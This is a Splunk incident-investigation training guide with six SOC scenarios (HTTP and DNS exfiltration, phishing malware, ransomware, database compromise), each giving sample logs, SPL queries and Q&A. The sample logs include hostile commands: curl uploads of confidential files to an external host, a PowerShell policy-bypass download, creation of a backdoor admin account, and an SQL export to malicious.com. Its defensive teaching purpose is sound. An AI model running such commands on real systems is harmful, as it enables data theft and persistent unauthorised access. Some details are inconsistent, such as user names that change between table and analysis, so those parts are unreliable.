CYBERSECURITY INCIDENT INVESTIGATION USING SPLUNK WITH LOGS, ANALYSIS STEPS, QUERIES, QUESTIONS AND ANSWERS

BY IZZMIER IZZUDDIN

SCENARIO1: POTENTIAL DATA EXFILTRATION INCIDENT

Background: Your SOC team receives an alert from the SIEM about unusually large data transfers over HTTP from a corporate user's machine, flagged as suspicious by the Data Loss Prevention (DLP) system.

Logs

1. HTTP Access Logs (Splunk sourcetype: access_combined)

```
192.168.1.101 - - [09/Jan/2025:12:34:56 +0000] "GET /companydocs/confidential.pdf HTTP/1.1" 200 2048 "-" "Mozilla/5.0"
192.168.1.101 - - [09/Jan/2025:12:35:10 +0000] "GET /companydocs/budget2025.xlsx HTTP/1.1" 200 5120 "-" "Mozilla/5.0"
192.168.1.101 - - [09/Jan/2025:12:35:35 +0000] "POST /upload.php HTTP/1.1" 200 10240 "-" "curl/7.68.0"
192.168.1.101 - - [09/Jan/2025:12:36:00 +0000] "POST /upload.php HTTP/1.1" 200 20480 "-" "curl/7.68.0"
192.168.1.102 - - [09/Jan/2025:12:37:15 +0000] "GET /public/marketing.pdf HTTP/1.1" 200 1024 "-" "Mozilla/5.0"
```

2. Firewall Logs (Splunk sourcetype: pan:traffic)

```
Jan 09 12:34:56 Firewall allow 192.168.1.101 203.0.113.10 TCP 80 HTTP
Jan 09 12:35:35 Firewall allow 192.168.1.101 203.0.113.10 TCP 80 HTTP
Jan 09 12:36:00 Firewall allow 192.168.1.101 203.0.113.10 TCP 80 HTTP
Jan 09 12:37:15 Firewall allow 192.168.1.102 203.0.113.10 TCP 80 HTTP
```

3. Endpoint Logs (Splunk sourcetype: osquery)

```
2025-01-09T12:33:00Z,192.168.1.101,/usr/bin/curl -T confidential.pdf http://203.0.113.10/upload.php
2025-01-09T12:35:00Z,192.168.1.101,/usr/bin/curl -T budget2025.xlsx http://203.0.113.10/upload.php
2025-01-09T12:36:30Z,192.168.1.101,/usr/bin/curl -T report2024.docx http://203.0.113.10/upload.php
```

INCIDENT INVESTIGATION PROCESS

Step 1: Investigate Alert Context

Splunk Query (to retrieve suspicious HTTP requests):

```
index=main sourcetype=access_combined host=192.168.1.101
| stats count, sum(bytes) as total_bytes by uri, method
| where total_bytes > 10000
```

Result:

uri	method	count	total_bytes
/upload.php	POST	2	30720

Step 2: Correlate HTTP Requests with Firewall Traffic

Query to correlate suspicious source IP with firewall logs:

```
index=firewall sourcetype="pan:traffic" src_ip=192.168.1.101 dest_ip=203.0.113.10
action=allow
| stats count by dest_ip, src_ip, action, app
```

Result:

src_ip	dest_ip	action	app
192.168.1.101	203.0.113.10	allow	HTTP

Step 3: Confirm Endpoint Activity

Query to identify commands executed on the endpoint:

```
index=endpoint sourcetype=osquery host=192.168.1.101
| table _time, host, command
```

Result:

_time	host	command
2025-01-09T12:33:00	192.168.1.101	/usr/bin/curl -T confidential.pdf http://203.0.113.10/upload.php
2025-01-09T12:35:00	192.168.1.101	/usr/bin/curl -T budget2025.xlsx http://203.0.113.10/upload.php

Step 4: Determine Data Volume and Severity

Query to calculate total data exfiltrated:

```
index=main sourcetype=access_combined host=192.168.1.101 method=POST
| stats sum(bytes) as total_exfiltrated
```

Result:

total_exfiltrated
30720 bytes

QUESTIONS AND ANSWERS

Q1: How do we confirm if 203.0.113.10 is a known malicious IP?
A1: Use threat intelligence integrations in Splunk (e.g., Threat Intelligence Framework or VirusTotal lookups).

```
| inputlookup threatintel.csv
| search ip="203.0.113.10"
```

Q2: How to detect similar activities in the future?
A2: Create a Splunk alert for unusual data transfer or abnormal HTTP POST activities.

```
index=main sourcetype=access_combined method=POST
| stats sum(bytes) by src_ip, dest_ip
| where sum(bytes) > 10000
```

Full Analysis Summary

1. **Incident Trigger:** Large HTTP POST requests from 192.168.1.101 to 203.0.113.10.
2. **Findings:**
    - Endpoint logs show curl commands uploading sensitive files.
    - Firewall logs confirm traffic to the external IP.
    - Data volume exfiltrated: ~30 KB.
3. **Root Cause:** The user account or machine was potentially compromised.
4. **Recommendations:**
    - Block external IP 203.0.113.10 immediately.
    - Isolate the endpoint 192.168.1.101 for forensic analysis.
    - Reset credentials for the user associated with 192.168.1.101.
    - Review DLP policies for gaps in detection thresholds.

EXTRA ANALYSIS

Deep Analysis with Additional Queries

- **Identify All Affected Assets**

We now determine if any other endpoints have communicated with the suspicious external IP (203.0.113.10).

Splunk Query:

```
index=firewall sourcetype="pan:traffic" dest_ip=203.0.113.10 action=allow
| stats count by src_ip, dest_ip, action
```

Result:

src_ip	dest_ip	action
192.168.1.101	203.0.113.10	allow
192.168.1.103	203.0.113.10	allow

- **Investigate Activity of Additional Host (192.168.1.103)**

Since 192.168.1.103 also communicated with the external IP, its activity should be analysed.

Query to retrieve commands executed on 192.168.1.103:

```
index=endpoint sourcetype=osquery host=192.168.1.103
| table _time, host, command
```

Result:

_time	host	command
2025-01-09T12:40:00	192.168.1.103	/usr/bin/curl -T projectplan.docx http://203.0.113.10/upload.php

- **Analysis:** The second host (192.168.1.103) is also involved in data exfiltration.

Check for Potential Malware Delivery

Verify if there were any suspicious files downloaded before the exfiltration.

Query to identify GET requests downloading files:

```
index=main sourcetype=access_combined host=192.168.1.101 method=GET
| stats values(uri) by _time
```

Result:

_time	uri
2025-01-09T12:30:00	/tools/maliciousscript.sh

Analysis: A suspicious script (maliciousscript.sh) was downloaded prior to the incident, likely initiating the data exfiltration.

Containment and Remediation

1. **Immediate Actions:**
    - Block external IP 203.0.113.10 on the firewall.
    - Isolate both compromised endpoints (192.168.1.101 and 192.168.1.103) from the network.
    - Notify relevant stakeholders and initiate incident response protocols.
2. **Endpoint Forensics:**
    - Perform memory analysis on both endpoints to detect potential malware.
    - Retrieve and analyse maliciousscript.sh to understand its functionality.

Query for User Activity Correlation

- **Identify logged-in users during the incident period:**

```
index=authentication sourcetype=windows:security host=192.168.1.*
| stats count by user, host, action
```

Result:

user	host	action
Izzmier	192.168.1.101	login
iffah	192.168.1.103	login

Analysis: Users jdoe and msmith are associated with the compromised hosts. Their credentials may also be compromised.

Generate a Splunk Report

To summarise the incident for reporting purposes, create a Splunk dashboard for key findings:

- **Panel 1:** Total data exfiltrated by source IP.

```
index=main sourcetype=access_combined method=POST
| stats sum(bytes) as total_exfiltrated by src_ip
```

- **Panel 2:** Affected hosts communicating with 203.0.113.10.

```
index=firewall sourcetype="pan:traffic" dest_ip=203.0.113.10 action=allow
| stats values(src_ip)
```

- **Panel 3:** Timeline of suspicious activities.

```
index=* (host=192.168.1.101 OR host=192.168.1.103)
| stats count by _time, host, action
```

Lessons Learned

Root Cause Analysis:

- **Trigger:** A malicious script was downloaded and executed, leading to credential compromise and data exfiltration.
- **Weakness:** Lack of network monitoring to flag large POST requests and insufficient endpoint protection.

Recommendations:

1. **Technical Controls:**
   - Implement stricter DLP policies.
   - Configure alerts for unusual HTTP POST activity.
   - Deploy EDR (Endpoint Detection and Response) for better visibility.
2. **Policy Updates:**
   - Regularly educate users about phishing and malicious downloads.
   - Enforce stricter access controls.
3. **Preventive Measures:**
   - Conduct threat-hunting exercises to identify other potential threats.
   - Update firewall rules to monitor traffic for anomalies.

QUESTIONS AND ANSWERS

1. **How can we identify if maliciousscript.sh was executed?**
   - Use endpoint logs to search for execution traces:

```
index=endpoint sourcetype=osquery
| search command="*maliciousscript.sh*"
```

2. **How do we prevent future similar incidents?**
   - Implement alerts for:
     - Large HTTP POST requests.
     - Downloading executable or script files.
     - Communication with external IPs not on the whitelist.

3. **How do we validate whether exfiltrated files contained sensitive information?**
   - Retrieve the list of file names from HTTP POST logs and compare them with sensitive data inventory:

```
index=main sourcetype=access_combined method=POST
| table uri
```

SCENARIO 2: PHISHING EMAIL LEADING TO MALWARE INFECTION

Incident Overview: An employee reports unusual pop-ups on their workstation and suspects a phishing email link. IT security receives alerts about suspicious file activity and unauthorised access attempts on a critical file server. This incident requires thorough investigation using Splunk to uncover the root cause, scope and impact.

Step 1: Initial Alert Investigation

Alert Details:

- **Alert Name:** Suspicious File Activity
- **Triggered By:** Endpoint Protection System
- **Details:** File invoice_2025.pdf.exe was executed on 192.168.2.150 and triggered an anomaly detection.

Initial Splunk Query to Identify Triggering Events:

```
index=endpoint sourcetype=osquery host=192.168.2.150
| search command="*invoice_2025.pdf.exe*"
| table _time, user, host, command
```

Result:

_time	user	host	command
2025-01-09T09:05:00	user1	192.168.2.150	/tmp/invoice_2025.pdf.exe

Step 2: Identify the Source of the Infection

Query to Identify Emails Containing Suspicious Attachments:

```
index=email sourcetype=exchange host=192.168.2.150
| search attachment_name="invoice_2025.pdf.exe"
| table _time, sender, recipient, subject, attachment_name
```

Result:

_time	sender	recipient	subject	attachment_name
2025-01-09T08:55:00	attacker@malicious.com	user1@company.com	Invoice for Payment	invoice_2025.pdf.exe

Analysis: The malware was delivered via a phishing email from attacker@malicious.com.

Step 3: Check Command Execution and Persistence

Query for Commands Executed by the Malware:

```
index=endpoint sourcetype=osquery host=192.168.2.150
| search command="*"
| table _time, host, user, command
```

Result:

_time	host	user	command
2025-01-09T09:06:00	192.168.2.150	user1	powershell.exe -ExecutionPolicy Bypass -File download.ps1
2025-01-09T09:10:00	192.168.2.150	user1	net user adminuser Password123 /add
2025-01-09T09:12:00	192.168.2.150	user1	net localgroup administrators adminuser /add

Analysis: The malware used PowerShell to download additional payloads and create a new local administrator account.

Step 4: Investigate Lateral Movement

Query to Identify Lateral Movement Attempts:

```
index=network sourcetype=windows:network host=192.168.2.150
| stats count by dest_ip, dest_port, protocol
```

Result:

dest_ip	dest_port	protocol
192.168.2.200	445	SMB
192.168.2.201	3389	RDP

Analysis: The infected host attempted SMB and RDP connections to other systems (192.168.2.200 and 192.168.2.201).

Step 5: Data Exfiltration Detection

Query for Outbound HTTP/S Traffic from the Host:

```
index=firewall sourcetype="pan:traffic" src_ip=192.168.2.150 action=allow
```

```
| stats count by dest_ip, dest_port, action
```

Result:

dest_ip	dest_port	action
203.0.113.50	443	allow

Query for File Transfer to External IP:

```
index=main sourcetype=access_combined src_ip=192.168.2.150
| stats values(uri) as uris by dest_ip
```

Result:

dest_ip	uris
203.0.113.50	/upload/sensitive_file1.docx

Analysis: The malware exfiltrated files to an external server (203.0.113.50).

Step 6: Containment and Remediation

1. **Immediate Actions:**
    - Isolate 192.168.2.150 from the network.
    - Block external IP 203.0.113.50 at the firewall.
    - Reset credentials for adminuser and other compromised accounts.
2. **Forensic Actions:**
    - Analyse download.ps1 for its capabilities.
    - Check logs on the lateral movement targets (192.168.2.200 and 192.168.2.201) for compromise signs.

Step 7: Generate Dashboard for Reporting

Dashboard Panels:

- **Panel 1:** Malware Source (Phishing Email Details)

```
index=email sourcetype=exchange
| search attachment_name="invoice_2025.pdf.exe"
| stats count by sender, subject
```

- **Panel 2:** Malware Execution Timeline

```
index=endpoint sourcetype=osquery host=192.168.2.150
| stats count by _time, command
```

- **Panel 3:** Outbound Data Transfers

```
index=firewall sourcetype="pan:traffic" src_ip=192.168.2.150 action=allow
| stats sum(bytes) as total_data_exfiltrated by dest_ip
```

QUESTIONS AND ANSWERS

1. **How do we detect similar phishing emails in the future?**
    - Set up alerts for emails with:
        - Executable attachments.
        - Links redirecting to suspicious domains.

2. **What controls could mitigate such incidents?**
    - Implement:
        - Endpoint protection to block suspicious executables.
        - Email filtering to quarantine emails with malicious attachments.

3. **How do we confirm lateral movement was successful?**
    - Query authentication logs of the targeted hosts:

    ```
    index=authentication sourcetype=windows:security (host=192.168.2.200 OR
    host=192.168.2.201)
    | stats count by user, result
    ```

SCENARIO 3: RANSOMWARE INFECTION IN A CORPORATE NETWORK

Incident Overview: An organisation's IT department receives reports that multiple employees cannot access their files, with all filenames being appended with encrypted and a ransom note displayed on their desktops. Alerts from the SIEM indicate anomalous file access activity and process executions on a shared file server. Immediate investigation is required to identify the ransomware’s origin, spread and mitigation steps.

Step 1: Initial Alert Investigation

Alert Details:

- **Alert Name:** Anomalous File Activity
- **Triggered By:** File Integrity Monitoring (FIM) System
- **Details:** Unusual file modifications detected on the file server 192.168.1.50. Files were appended with .encrypted.

Initial Splunk Query to Investigate Modified Files:

```
index=file_integrity sourcetype=fim_logs host=192.168.1.50
| search extension=".encrypted"
| table _time, file_path, user, process_name
```

Result:

_time	file_path	user	process_name
2025-01-09T10:20:00	C:\shared\finance.xlsx	admin	encryptor.exe
2025-01-09T10:22:00	C:\shared\report.docx	admin	encryptor.exe

Step 2: Identify the Source Host

Query to Trace the Process Execution on the File Server:

```
index=endpoint sourcetype=windows:process host=192.168.1.50
| search process_name="encryptor.exe"
| table _time, parent_process, process_name, user, src_ip
```

Result:

_time	parent_process	process_name	user	src_ip
2025-01-09T10:15:00	explorer.exe	encryptor.exe	admin	192.168.1.100

Analysis: The ransomware (encryptor.exe) was executed from 192.168.1.100.

Step 3: Investigate the Origin of the Malware

Query for Email Attachments Downloaded by 192.168.1.100:

```
index=email sourcetype=exchange host=192.168.1.100
| search attachment="*.exe"
| table _time, sender, recipient, attachment_name, url
```

Result:

_time	sender	recipient	attachment_name	url
2025-01-09T10:00:00	attacker@phishmail.com	user1@company.com	invoice2025.exe	http://malicious-site.com/file.exe

Analysis: The ransomware was delivered via a phishing email from attacker@phishmail.com.

Step 4: Investigate Spread and Lateral Movement

Query for Lateral Movement from 192.168.1.100:

```
index=authentication sourcetype=windows:security host=192.168.1.100
| stats count by dest_ip, user, authentication_result
```

Result:

dest_ip	user	authentication_result
192.168.1.50	admin	Success
192.168.1.60	admin	Success

Analysis: The ransomware used valid credentials to access 192.168.1.50 and 192.168.1.60, indicating lateral movement.

Step 5: Investigate Ransomware Network Communication

Query for Outbound Traffic to C2 Server:

```
index=firewall sourcetype=pan:traffic src_ip=192.168.1.100 action=allow
| stats count by dest_ip, dest_port, protocol
```

Result:

dest_ip	dest_port	protocol
203.0.113.45	8080	HTTP

Analysis: The ransomware communicated with a command-and-control (C2) server at 203.0.113.45 over port 8080.

Step 6: Mitigation Actions

1. **Immediate Actions:**
    - Disconnect 192.168.1.100 and 192.168.1.50 from the network.
    - Block outbound traffic to 203.0.113.45 at the firewall.
    - Disable the user account admin.
2. **Remediation Steps:**
    - Restore affected files from backups.
    - Update endpoint protection and run full scans on affected systems.
    - Educate users about phishing awareness.

Step 7: Dashboard for Reporting

Dashboard Panels:

- **Panel 1:** Timeline of File Modifications

```
index=file_integrity sourcetype=fim_logs host=192.168.1.50
| stats count by _time, file_path
```

- **Panel 2:** Hosts Affected by the Ransomware

```
index=endpoint sourcetype=windows:process process_name="encryptor.exe"
| stats count by host, user
```

- **Panel 3:** Outbound Connections to C2 Server

```
index=firewall sourcetype=pan:traffic dest_ip=203.0.113.45
| stats count by src_ip, dest_port
```

QUESTIONS AND ANSWERS

1. **How can we detect similar ransomware attacks?**
    - Set up alerts for:
        - Unexpected file extensions like .encrypted.
        - Execution of suspicious processes like encryptor.exe.
        - Unusual outbound traffic to unknown IPs.

2. **What controls can prevent such incidents?**
    - Implement:
        - Email filtering to block malicious attachments.
        - Endpoint protection to detect and block ransomware.
        - Network segmentation to limit lateral movement.

3. **How do we trace ransomware communication?**
    - Use Splunk to query network traffic for unusual destinations and monitor beaconing patterns:

Scenario 4: Data Exfiltration via Unusual DNS Queries

Incident Overview: The organisation's SIEM raises an alert for an unusual volume of DNS queries from a workstation. These queries are directed to domains that resemble legitimate services but are slightly altered (e.g., goog1e.com instead of google.com). The concern is that a malicious actor might be using DNS tunneling to exfiltrate sensitive data.

Step 1: Initial Alert Investigation

Alert Details:

- **Alert Name:** Unusual DNS Query Volume
- **Triggered By:** Network Intrusion Detection System (NIDS)
- **Details:** Excessive DNS queries originating from 192.168.1.150 to suspicious domains.

Initial Splunk Query to Investigate DNS Queries:

```
index=dns sourcetype=bind_logs src_ip=192.168.1.150
| stats count by _time, query_name, query_type
| sort - count
```

Result:

_time	query_name	query_type	count
2025-01-09T11:30:00	goog1e.com	A	150
2025-01-09T11:32:00	1234abcd.example.com	TXT	100
2025-01-09T11:35:00	exfildata.example.com	TXT	80

Analysis: The queries to example.com subdomains with TXT records indicate potential DNS tunneling.

Step 2: Analyse Suspicious Domain Activity

Query for DNS Query Patterns:

```
index=dns sourcetype=bind_logs query_name="*.example.com"
| stats count by query_name, query_type, src_ip
```

Result:

query_name	query_type	src_ip	count
1234abcd.example.com	TXT	192.168.1.150	100
exfildata.example.com	TXT	192.168.1.150	80
test123.example.com	TXT	192.168.1.150	50

Analysis: Multiple subdomains under example.com were queried with TXT records, often used for data exfiltration.

Step 3: Identify the Malicious Process

Query for Processes Generating DNS Traffic on the Workstation:

```
index=endpoint sourcetype=windows:process host=192.168.1.150
| search network_activity="dns_query"
| table _time, process_name, command_line, user
```

Result:

_time	process_name	command_line	user
2025-01-09T11:25:00	dnstransfer.exe	dnstransfer -t exfildata	admin

Analysis: The dnstransfer.exe process is responsible for generating DNS queries. This is likely the tool used for DNS tunneling.

Step 4: Investigate Data Exfiltration

Query to Analyse the Data Encoded in DNS Queries:

```
index=dns sourcetype=bind_logs query_name="*.example.com"
| rex field=query_name "(?<data>[^\.]+)\.example\.com"
| table _time, src_ip, data
```

Result:

_time	src_ip	data
2025-01-09T11:25:00	192.168.1.150	1234abcd
2025-01-09T11:26:00	192.168.1.150	sensitive_info1
2025-01-09T11:27:00	192.168.1.150	sensitive_info2

Analysis: The extracted data shows encoded sensitive information being exfiltrated.

Step 5: Mitigation and Containment

Query for Blocking Malicious Domains:

```
index=firewall sourcetype=pan:traffic
| search dest_ip IN [dnslookup query_name="example.com"]
| stats count by src_ip, dest_ip, action
```

Result: Identifies traffic to example.com domains for blocking at the firewall.

Actions Taken:

1. Block all traffic to example.com at the DNS resolver and firewall.
2. Isolate the workstation 192.168.1.150 from the network.
3. Terminate the process dnstransfer.exe on the workstation.

Step 6: Dashboard for Reporting

Dashboard Panels:

- **Panel 1:** DNS Queries by Volume

```
index=dns sourcetype=bind_logs
| stats count by query_name, src_ip
```

- **Panel 2:** Subdomains Queried

```
index=dns sourcetype=bind_logs query_name="*.example.com"
| stats count by query_name
```

- **Panel 3:** Encoded Data Extracted

```
index=dns sourcetype=bind_logs query_name="*.example.com"
| rex field=query_name "(?<data>[^\.]+)\.example\.com"
| stats count by data
```

QUESTIONS AND ANSWERS

1. **How do we detect DNS tunneling in real time?**
    - Use analytics to:
        - Monitor excessive DNS queries, especially to unusual domains.
        - Track high TXT record query volumes.

2. **What preventive measures can stop DNS tunneling?**
    - Implement:
        - DNS filtering to block known malicious domains.
        - Anomaly detection for DNS query patterns.
        - DNS query sise limitations to detect encoded data.

3. **How do we verify data exfiltration via DNS?**
    - Extract and decode payloads from subdomains using Splunk queries:

SCENARIO 5: RANSOMWARE INFECTION VIA MALICIOUS EMAIL

Incident Overview: An employee reports that their files have been encrypted and they see a ransom note demanding payment in cryptocurrency. The security team suspects a ransomware infection originating from a malicious email.

Step 1: Initial Alert Investigation

Alert Details:

- **Alert Name:** Suspicious File Encryption Detected
- **Triggered By:** Endpoint Detection and Response (EDR)
- **Details:** Multiple files were renamed with the .encrypted extension on the workstation 192.168.1.120.

Splunk Query to Investigate Recent Email Activity:

```
index=email sourcetype=email_logs dest_ip=192.168.1.120
| stats count by _time, subject, sender, recipient
| sort - _time
```

Result:

_time	subject	sender	recipient
2025-01-09T10:15:00	Urgent Invoice Attached	attacker@malware.com	user@company.com

Analysis: A suspicious email with the subject "Urgent Invoice Attached" was received shortly before the ransomware activity.

Step 2: Analyse Malicious Attachment

Query to Identify Attachments in the Email:

```
index=email sourcetype=email_logs subject="Urgent Invoice Attached"
| table _time, attachment_name, attachment_hash
```

Result:

_time	attachment_name	attachment_hash
2025-01-09T10:15:00	invoice.zip	5d41402abc4b2a76b9719d911017c592

Query to Check File Reputation (VirusTotal Integration):

```
| inputlookup vt_file_reputation
| search hash="5d41402abc4b2a76b9719d911017c592"
| table hash, malicious, source
```

Result:

hash	malicious	source
5d41402abc4b2a76b9719d911017c592	Yes	VirusTotal

Analysis: The attachment invoice.zip is flagged as malicious by VirusTotal.

Step 3: Investigate Execution on Endpoint

Query to Identify Processes Spawned by Malicious Attachment:

```
index=endpoint sourcetype=windows:process host=192.168.1.120
| search process_name="winword.exe"
| table _time, process_name, command_line, parent_process
```

Result:

_time	process_name	command_line	parent_process
2025-01-09T10:20:00	winword.exe	winword.exe -o invoice.doc	explorer.exe
2025-01-09T10:21:00	ransomware.exe	ransomware.exe -encrypt	winword.exe

Analysis: The malicious attachment executed winword.exe, which spawned ransomware.exe.

Step 4: Analyse Network Activity

Query for Outbound Connections to Known Malicious IPs:

```
index=firewall sourcetype=pan:traffic src_ip=192.168.1.120
| table _time, dest_ip, dest_port, action
| lookup malicious_ips.csv dest_ip OUTPUT flagged
| search flagged="Yes"
```

Result:

_time	dest_ip	dest_port	action	flagged
2025-01-09T10:22:00	185.45.67.89	443	allowed	Yes

Analysis: The ransomware made an outbound connection to 185.45.67.89, a known command-and-control (C2) server.

Step 5: Mitigation and Containment

Immediate Actions:

1. **Isolate Host:** Disconnect 192.168.1.120 from the network.
2. **Terminate Malicious Process:** Stop ransomware.exe on the endpoint.
3. **Block Malicious IP:** Add 185.45.67.89 to the firewall blocklist.

Query to Block Malicious IP:

```
| makeresults
| eval action="block", ip="185.45.67.89"
| outputlookup firewall_blocklist.csv
```

Step 6: Dashboard for Reporting

Dashboard Panels:

- **Panel 1:** Malicious Emails Received

```
index=email sourcetype=email_logs sender="attacker@malware.com"
| stats count by recipient
```

- **Panel 2:** Host Infection Timeline

```
index=endpoint sourcetype=windows:process host=192.168.1.120
| stats count by process_name, parent_process
```

- **Panel 3:** Malicious Network Connections

```
index=firewall sourcetype=pan:traffic src_ip=192.168.1.120
| lookup malicious_ips.csv dest_ip OUTPUT flagged
| search flagged="Yes"
| stats count by dest_ip, action
```

QUESTIONS AND ANSWERS

1. **How was the ransomware executed?**
    - The ransomware was executed through a malicious attachment (invoice.zip) that launched winword.exe, which then spawned ransomware.exe.

2. **How do we prevent such incidents?**
    - Implement:
        - Email filtering for malicious attachments.

        - Endpoint protection to block unknown executables.
        - Regular user training on recognising phishing emails.

3. **How do we detect lateral movement after infection?**
    - Use Splunk queries to monitor unusual SMB or RDP activity from the infected host:

```
index=network sourcetype=windows:network_activity src_ip=192.168.1.120
| stats count by dest_ip, dest_port
```

SCENARIO 6: UNAUTHORISED ACCESS TO CRITICAL DATABASE

Incident Overview: The IT team reports suspicious access to a critical database storing customer information. The access occurred outside business hours and there are concerns about potential data exfiltration.

Step 1: Initial Alert Investigation

Alert Details:

- **Alert Name:** Suspicious Database Query Detected
- **Triggered By:** Database Monitoring System (e.g., AWS RDS, Microsoft SQL Audit)
- **Details:** Unusual SQL queries executed from a non-standard IP address.
- **Database:** customer_db
- **Affected Table:** customer_info
- **Timestamp:** 2025-01-09 02:15:00

Step 2: Investigate Login Activity

Splunk Query to Identify Database Logins:

```
index=database sourcetype=sql:log event_type="login"
| search database_name="customer_db" AND _time="2025-01-09T02:15:00"
| table _time, username, src_ip, event_status
```

Result:

_time	username	src_ip	event_status
2025-01-09T02:15:00	admin_user	203.0.113.45	Success

Analysis: A successful login occurred from the suspicious IP address 203.0.113.45 using the admin_user account.

Step 3: Investigate Suspicious Queries

Query to Extract SQL Queries Executed by admin_user:

```
index=database sourcetype=sql:log database_name="customer_db"
| search username="admin_user" AND src_ip="203.0.113.45"
| table _time, query, table_name, query_status
```

Result:

_time	query	table_name	query_status

2025-01-09T02:16:00	SELECT * FROM customer_info	customer_info	Success
2025-01-09T02:18:00	EXPORT customer_info TO 'http://malicious.com/data.csv'	customer_info	Success

Analysis: The attacker queried and attempted to export the customer_info table to an external URL (http://malicious.com/data.csv).

Step 4: Investigate Source IP

Query for Network Activity from 203.0.113.45:

```
index=network sourcetype=firewall src_ip=203.0.113.45
| stats count by _time, dest_ip, dest_port, action
```

Result:

_time	dest_ip	dest_port	action
2025-01-09T02:19:00	198.51.100.30	443	allowed

Analysis: The IP address 203.0.113.45 communicated with an external server 198.51.100.30 over HTTPS.

Step 5: Investigate Account Activity

Query for Authentication Logs for admin_user:

```
index=auth sourcetype=windows:security user="admin_user"
| table _time, user, src_ip, event_status, login_method
```

Result:

_time	user	src_ip	event_status	login_method
2025-01-09T02:14:00	admin_user	203.0.113.45	Success	Password

Analysis: The admin_user account was accessed using a password from the suspicious IP.

Query for Recent Password Changes:

```
index=auth sourcetype=windows:security user="admin_user"
event_type="password_change"
| table _time, user, src_ip, event_status
```

Result:

_time	user	src_ip	event_status
2025-01-08T15:00:00	admin_user	10.1.1.10	Success

Analysis: The password for admin_user was changed the previous day, likely as part of the compromise.

Step 6: Mitigation and Containment

Immediate Actions:

1. **Revoke Access:** Disable admin_user account.
2. **Block IP Address:** Add 203.0.113.45 to the firewall blocklist.
3. **Terminate External Communication:** Block 198.51.100.30 at the network perimeter.
4. **Secure Database:** Implement multi-factor authentication and rotate credentials.

Query to Disable User Account:

```
| makeresults
| eval action="disable", user="admin_user"
| outputlookup user_account_management.csv
```

Step 7: Dashboard for Reporting

Dashboard Panels:

- **Panel 1:** Database Login Activity

```
index=database sourcetype=sql:log event_type="login"
| stats count by username, src_ip, event_status
```

- **Panel 2:** SQL Query Activity

```
index=database sourcetype=sql:log database_name="customer_db"
| stats count by query, table_name, query_status
```

- **Panel 3:** Malicious IP Network Connections

```
index=network sourcetype=firewall src_ip="203.0.113.45"
| stats count by dest_ip, dest_port, action
```

QUESTIONS AND ANSWERS

1. **How was the database compromised?**
    - The admin_user account was accessed using a stolen password from a suspicious IP address.
2. **How do we prevent similar incidents?**
    - Implement:
        - Multi-factor authentication for database accounts.
        - Anomaly detection for login behaviour (e.g., time and location).
        - Frequent password rotation policies.
3. **How do we detect exfiltration attempts?**
    - Use data exfiltration detection rules:

```
index=network sourcetype=firewall action="allowed"
| stats count by src_ip, dest_ip, dest_port, bytes_out
| search bytes_out > 100000
```